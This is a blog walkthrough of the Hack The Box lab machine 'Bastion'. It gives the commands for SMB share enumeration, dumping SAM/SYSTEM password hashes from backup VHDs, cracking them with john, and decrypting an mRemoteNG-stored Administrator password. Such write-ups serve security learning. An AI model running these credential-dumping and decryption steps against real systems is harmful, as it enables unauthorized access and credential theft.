Posts Hack The Box - Bastion
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Hack The Box - Bastion

I found this machine a little hard at first as this was my first Windows machine and I wasn’t adept at exploiting Windows. After reading various write ups and guides online, I was able to root this machine ! :)

Configuration

The operating systems that I will be using to tackle this machine is a Kali Linux VM and a Windows Commando VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

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$ echo "10.10.10.134 bastion.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

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$ nmap -sV -sT -sC bastion.htb
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.26s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE      VERSION
22/tcp  open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -39m29s, deviation: 1h09m15s, median: 29s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-08-17T09:30:22+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-17 03:30:24
|_  start_date: 2019-08-17 03:09:17

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.52 seconds

Enumeration (1)

Not much can be done with the ssh service as we do not have any credentials on hand so lets come back to it later. As for the smb service, maybe we can try logging into it and see what we can find ?

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$ smbclient -L bastion.htb
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	Backups         Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC

$ smbmap -H bastion.htb -U Guest
[+] Finding open SMB ports....
[+] User SMB session establishd on bastion.htb...
[+] IP: bastion.htb:445	Name: bastion.htb                                       
	Disk                                                  	Permissions
	----                                                  	-----------
	ADMIN$                                            	    NO ACCESS
	Backups                                           	    READ, WRITE
	C$                                                	    NO ACCESS
	IPC$                                              	    READ ONLY

Alright, the Backups share seems interesting. Lets check it out.

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$ smbclient //bastion.htb/Backups
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug 28 03:22:24 2019
  ..                                  D        0  Wed Aug 28 03:22:24 2019
  AfupChGEOm                          D        0  Wed Aug 28 03:17:54 2019
  ApQryGFzjG                          D        0  Wed Aug 28 03:19:48 2019
  gcMteSJf.exe                        A    15872  Wed Aug 28 03:22:37 2019
  hBHyUtVj.exe                        A     2500  Wed Aug 28 03:22:10 2019
  kyMeCYlTrO                          D        0  Wed Aug 28 03:17:40 2019
  note.txt                           AR      116  Tue Apr 16 06:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 07:43:08 2019
  WindowsImageBackup                  D        0  Fri Feb 22 07:44:02 2019

		7735807 blocks of size 4096. 2776236 blocks available

Looks like someone left a note.txt on the share.

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smb: \> more note.txt
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

At this point of time, I did not understand the meaning of this message so I simply ignored it. Another thing that caught my attention was the WindowsImageBackup directory.

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smb: \> cd WindowsImageBackup
smb: \WindowsImageBackup\> dir
  .                                   D        0  Fri Feb 22 07:44:02 2019
  ..                                  D        0  Fri Feb 22 07:44:02 2019
  L4mpje-PC                           D        0  Fri Feb 22 07:45:32 2019

		7735807 blocks of size 4096. 2776046 blocks available
smb: \WindowsImageBackup\> cd L4mpje-PC
smb: \WindowsImageBackup\L4mpje-PC\> dir
  .                                   D        0  Fri Feb 22 07:45:32 2019
  ..                                  D        0  Fri Feb 22 07:45:32 2019
  Backup 2019-02-22 124351            D        0  Fri Feb 22 07:45:32 2019
  Catalog                             D        0  Fri Feb 22 07:45:32 2019
  MediaId                             A       16  Fri Feb 22 07:44:02 2019
  SPPMetadataCache                    D        0  Fri Feb 22 07:45:32 2019

		7735807 blocks of size 4096. 2776046 blocks available

Oh no this feels like a rabbit hole already but Backup 2019-02-22 124351 seems hopeful.

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smb: \WindowsImageBackup\L4mpje-PC\> cd "Backup 2019-02-22 124351"
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> dir
  .                                                                                              D          0   Fri Feb 22 07:45:32 2019
  ..                                                                                             D          0   Fri Feb 22 07:45:32 2019
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd                                                       A   37761024   Fri Feb 22 07:44:03 2019
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd                                                       A 5418299392   Fri Feb 22 07:45:32 2019
  BackupSpecs.xml                                                                                A       1186   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml   A       1078   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml                                            A       8930   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml                                      A       6542   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml            A       2894   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml            A       1488   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml            A       1484   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml            A       3844   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml            A       3988   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml            A       7110   Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml            A    2374620   Fri Feb 22 07:45:32 2019

		7735807 blocks of size 4096. 2776046 blocks available

The .vhd files seem worth checking out. Lets try downloading them.

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smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> get 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
parallel_read returned NT_STATUS_IO_TIMEOUT
getting file \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd 
of size 37761024 as 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd SMBecho failed (NT_STATUS_INVALID_NETWORK_RESPONSE). 
The connection is disconnected now

What just happened ? NT_STATUS_IO_TIMEOUT ? Was the file too big to be transferred ? This was where I finally understood the message when it said don't transfer the entire backup file and the VPN to the subsidiary office is too slow. Seems like we can’t rely on smbclient to retrieve the files :/ This was where it struck me to use a Windows VM. I had heard of a Offensive Windows distribution VM by FireEye and felt that it was a good chance to try it out!

After setting up the Commando VM, I attempted to access the share and it worked !

After downloading the .vhd files which tooked quite a while, I mounted both of them.

Seems like a rather normal looking Windows file system. After looking through the user folders, I was not able to find anything but I found the SAM and SYSTEM files in the Windows\System32\config folder. Maybe we can dump out the passwords using these files ?

Using the samdump2 command, we were able to extract the account hashes.

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$ samdump2 SYSTEM SAM -o hash.txt
$ cat hash.txt
\*disabled\* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
\*disabled\* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

Following up, we used john to cracked the NT hashes in hash.txt along with the rockyou.txt password list.

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$ john --format=nt hash.txt -wordlist:/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Remaining 1 password hash
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
bureaulampje     (L4mpje)
1g 0:00:00:01 DONE (2019-08-17 07:47) 0.5434g/s 5106Kp/s 5106Kc/s 5106KC/s buresres..burdy1
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed

user.txt

Bingo, we got it ! With the password bureaulampje, we will now attempt to login via ssh using L4mpje’s credentials. The user.txt resided on his Desktop.

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$ ssh L4mpje@bastion.htb
L4mpje@bastion.htb's password: 

Microsoft Windows [Version 10.0.14393]                                           
(c) 2016 Microsoft Corporation. All rights reserved.   

l4mpje@BASTION C:\Users\L4mpje>cd Desktop                                        

l4mpje@BASTION C:\Users\L4mpje\Desktop>dir                                       
 Volume in drive C has no label.                                                 
 Volume Serial Number is 0CB3-C487                                               

 Directory of C:\Users\L4mpje\Desktop                                            

22-02-2019  16:27    <DIR>          .                                            
22-02-2019  16:27    <DIR>          ..                                           
23-02-2019  10:07                32 user.txt                                     
               1 File(s)             32 bytes                                    
               2 Dir(s)  11.381.809.152 bytes free

l4mpje@BASTION C:\Users\L4mpje\Desktop>more user.txt                             
9bfeXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

As l4mpje, we first checked out the installed programs.

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$ dir C:\Program Files (x86)
 Volume in drive C has no label.                                                                               
 Volume Serial Number is 0CB3-C487                                                                             

 Directory of C:\Program Files (x86)                                                                           

22-02-2019  15:01    <DIR>          .                                                                          
22-02-2019  15:01    <DIR>          ..                                                                         
16-07-2016  15:23    <DIR>          Common Files                                                               
23-02-2019  10:38    <DIR>          Internet Explorer                                                          
16-07-2016  15:23    <DIR>          Microsoft.NET                                                              
22-02-2019  15:01    <DIR>          mRemoteNG                                                                  
23-02-2019  11:22    <DIR>          Windows Defender                                                           
23-02-2019  10:38    <DIR>          Windows Mail                                                               
23-02-2019  11:22    <DIR>          Windows Media Player                                                       
16-07-2016  15:23    <DIR>          Windows Multimedia Platform                                                
16-07-2016  15:23    <DIR>          Windows NT                                                                 
23-02-2019  11:22    <DIR>          Windows Photo Viewer                                                       
16-07-2016  15:23    <DIR>          Windows Portable Devices                                                   
16-07-2016  15:23    <DIR>          WindowsPowerShell                                                          
               0 File(s)              0 bytes                                                                  
              14 Dir(s)  11.404.402.688 bytes free     

mRemoteNG ? This doesn’t seem like a default installed Windows program.

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$ dir C:\Program Files (x86)\mRemoteNG
 Volume in drive C has no label.                                                 
 Volume Serial Number is 0CB3-C487                                               

 Directory of C:\Program Files (x86)\mRemoteNG                                   

22-02-2019  15:01    <DIR>          .                                            
22-02-2019  15:01    <DIR>          ..                                           
18-10-2018  23:31            36.208 ADTree.dll                                   
18-10-2018  23:31           346.992 AxInterop.MSTSCLib.dll                       
18-10-2018  23:31            83.824 AxInterop.WFICALib.dll                       
18-10-2018  23:31         2.243.440 BouncyCastle.Crypto.dll                      
18-10-2018  23:30            71.022 Changelog.txt                                
18-10-2018  23:30             3.224 Credits.txt                                  
22-02-2019  15:01    <DIR>          cs-CZ                                        
22-02-2019  15:01    <DIR>          de                                           
22-02-2019  15:01    <DIR>          el                                           
22-02-2019  15:01    <DIR>          en-US                                        
22-02-2019  15:01    <DIR>          es                                           
22-02-2019  15:01    <DIR>          es-AR                                        
22-02-2019  15:01    <DIR>          Firefox                                      
22-02-2019  15:01    <DIR>          fr                                           
18-10-2018  23:31         1.966.960 Geckofx-Core.dll                             
05-07-2017  01:31         4.482.560 Geckofx-Core.pdb                             
18-10-2018  23:31           143.728 Geckofx-Winforms.dll                         
05-07-2017  01:31           259.584 Geckofx-Winforms.pdb                         
22-02-2019  15:01    <DIR>          Help                                         
22-02-2019  15:01    <DIR>          hu                                           
22-02-2019  15:01    <DIR>          Icons                                        
18-10-2018  23:31           607.088 Interop.MSTSCLib.dll                         
18-10-2018  23:31           131.440 Interop.WFICALib.dll                         
22-02-2019  15:01    <DIR>          it                                           
22-02-2019  15:01    <DIR>          ja-JP                                        
22-02-2019  15:01    <DIR>          ko-KR                                        
07-10-2018  13:21            18.326 License.txt                                  
18-10-2018  23:31           283.504 log4net.dll                                  
18-10-2018  23:31           412.528 MagicLibrary.dll                             
18-10-2018  23:31         1.552.240 mRemoteNG.exe                                
07-10-2018  13:21            28.317 mRemoteNG.exe.config                         
18-10-2018  23:30         2.405.888 mRemoteNG.pdb                                
22-02-2019  15:01    <DIR>          nb-NO                                        
22-02-2019  15:01    <DIR>          nl                                           
18-10-2018  23:31           451.952 ObjectListView.dll                           
22-02-2019  15:01    <DIR>          pl                                           
22-02-2019  15:01    <DIR>          pt                                           
22-02-2019  15:01    <DIR>          pt-BR                                        
07-10-2018  13:21           707.952 PuTTYNG.exe                                  
07-10-2018  13:21               887 Readme.txt                                   
18-10-2018  23:31           415.088 Renci.SshNet.dll                             
22-02-2019  15:01    <DIR>          ru                                           
22-02-2019  15:01    <DIR>          Schemas                                      
22-02-2019  15:01    <DIR>          Themes                                       
22-02-2019  15:01    <DIR>          tr-TR                                        
22-02-2019  15:01    <DIR>          uk                                           
18-10-2018  23:31           152.432 VncSharp.dll                                 
18-10-2018  23:31           312.176 WeifenLuo.WinFormsUI.Docking.dll             
18-10-2018  23:31            55.152 WeifenLuo.WinFormsUI.Docking.ThemeVS2003.dll 
18-10-2018  23:31           168.816 WeifenLuo.WinFormsUI.Docking.ThemeVS2012.dll 
18-10-2018  23:31           217.968 WeifenLuo.WinFormsUI.Docking.ThemeVS2013.dll 
18-10-2018  23:31           243.056 WeifenLuo.WinFormsUI.Docking.ThemeVS2015.dll 
22-02-2019  15:01    <DIR>          zh-CN                                        
22-02-2019  15:01    <DIR>          zh-TW                                        
              28 File(s)     17.802.352 bytes                                    
              28 Dir(s)  11.360.325.632 bytes free                               

Lets see what version of mRemoteNG is installed by checking the Changelog.txt.

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1.76.11 (2018-10-18):                                                            

Fixes:                                                                           
------                                                                           
#1139: Feature "Reconnect to previously opened sessions" not working             
#1136: Putty window not maximized                                                

...

Seems like the version is 1.76.10. Lets see if we can find any exploits regarding mRemoteNG.

I came across this post-exploitation module for Metasploit that harvests the credentials from mRemoteNG’s password storage file. Since I did not have meterpreter session on the machine, I found some other alternative.

The password storage file was stored in the %appdata%\mRemoteNG.

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$ dir %appdata%\mRemoteNG 

22-02-2019  15:03    <DIR>          .                                                                          
22-02-2019  15:03    <DIR>          ..                                                                         
22-02-2019  15:03             6.316 confCons.xml                                                               
22-02-2019  15:02             6.194 confCons.xml.20190222-1402277353.backup                                    
22-02-2019  15:02             6.206 confCons.xml.20190222-1402339071.backup                                    
22-02-2019  15:02             6.218 confCons.xml.20190222-1402379227.backup                                    
22-02-2019  15:02             6.231 confCons.xml.20190222-1403070644.backup                                    
22-02-2019  15:03             6.319 confCons.xml.20190222-1403100488.backup                                    
22-02-2019  15:03             6.318 confCons.xml.20190222-1403220026.backup                                    
22-02-2019  15:03             6.315 confCons.xml.20190222-1403261268.backup                                    
22-02-2019  15:03             6.316 confCons.xml.20190222-1403272831.backup                                    
22-02-2019  15:03             6.315 confCons.xml.20190222-1403433299.backup                                    
22-02-2019  15:03             6.316 confCons.xml.20190222-1403486580.backup                                    
22-02-2019  15:03                51 extApps.xml                                                                
17-08-2019  15:56             6.370 mRemoteNG.log                                                              
22-02-2019  15:03             2.245 pnlLayout.xml                                                              
22-02-2019  15:01    <DIR>          Themes                                                                     
              14 File(s)         77.730 bytes                                                                  
               3 Dir(s)  11.404.337.152 bytes free 

$ more %appdata%\mRemoteNG\confCons.xml
<?xml version="1.0" encoding="utf-8"?>                                                                         
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" Bl
ockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1
f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">                                   
    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4
f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xD
qE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="33
89" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthen
ticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Color
s16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFo
ntSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPo
rts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic
" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCom
pression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCPr
oxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCVi
ewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGate
wayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" Inheri
tDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="f
alse" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" In
heritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDi
skDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" Inher
itRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false"
 InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngi
ne="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" I
nheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" Inherit
PreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="f
alse" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="
false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPas
sword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGate
wayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" Inheri
tRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />                  
    <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8
f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U
9fKRylI7NcB9QuRsZVvla8esB" Hostname="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" Port="3389" C
onnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticat
ionLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bi
t" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmo
othing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="
false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" Red
irectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompress
ion="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPo
rt="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnl
y="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUs
ername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDesc
ription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false"
 InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" Inherit
Password="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDri
ves="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRed
irectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" Inhe
ritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="f
alse" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" Inheri
tRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreEx
tApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false"
 InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false
" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword
="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUs
ageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGa
tewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />                       
</mrng:Connections> 

In the <Node> element, we see :

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username: Administrator  
password: aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==  
hostname: 127.0.0.1  
protocol: RDP

From this, we can guess that the password field contains the encrypted version of the Administrator’s password. Using the mremoteng_decrypt.py,

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$ python mremoteng_decrypt.py aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
Password: thXLHM96BeKL0ER2

Neat ! We got the Administrator’s password !

root.txt

Lets see if we can login into the Administrator’s account via ssh.

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ssh Administator@bastion.htb
Administrator@bastion.htb's password: 

Microsoft Windows [Version 10.0.14393]                                           
(c) 2016 Microsoft Corporation. All rights reserved.

administrator@BASTION C:\Users\Administrator>cd Desktop

administrator@BASTION C:\Users\Administrator\Desktop>dir                         
 Volume in drive C has no label.                                                 
 Volume Serial Number is 0CB3-C487                                               

 Directory of C:\Users\Administrator\Desktop                                     

23-02-2019  10:40    <DIR>          .                                            
23-02-2019  10:40    <DIR>          ..                                           
23-02-2019  10:07                32 root.txt                                     
               1 File(s)             32 bytes                                    
               2 Dir(s)  11.348.910.080 bytes free                               

administrator@BASTION C:\Users\Administrator\Desktop>more root.txt               
9588XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.